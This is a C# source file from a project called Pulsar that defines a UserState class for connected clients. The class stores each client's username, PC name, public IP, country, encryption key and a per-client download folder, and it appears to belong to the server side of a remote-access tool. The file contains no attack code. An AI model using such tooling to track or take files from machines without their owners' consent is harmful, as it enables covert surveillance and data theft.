Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

35 lines
1.4 KiB
C#

using Pulsar.Common.Cryptography;
using Pulsar.Common.Helpers;
using System.IO;
using System.Windows.Forms;
namespace Pulsar.Server.Networking
{
public class UserState
{
private string _downloadDirectory;
private Aes256 _aesInstance;
public string Version { get; set; }
public string OperatingSystem { get; set; }
public string AccountType { get; set; }
public int ImageIndex { get; set; }
public string Country { get; set; }
public string CountryCode { get; set; }
public string Id { get; set; }
public string Username { get; set; }
public string PublicIP { get; set; }
public string PcName { get; set; }
public string UserAtPc => $"{Username}@{PcName}";
public string CountryWithCode => $"{Country} [{CountryCode}]";
public string Tag { get; set; }
public string EncryptionKey { get; set; }
public Aes256 AesInstance => _aesInstance ?? (_aesInstance = new Aes256(EncryptionKey));
public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.HasIllegalCharacters(UserAtPc))
? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\")
: Path.Combine(Application.StartupPath, $"Clients\\{Id}\\"));
}
}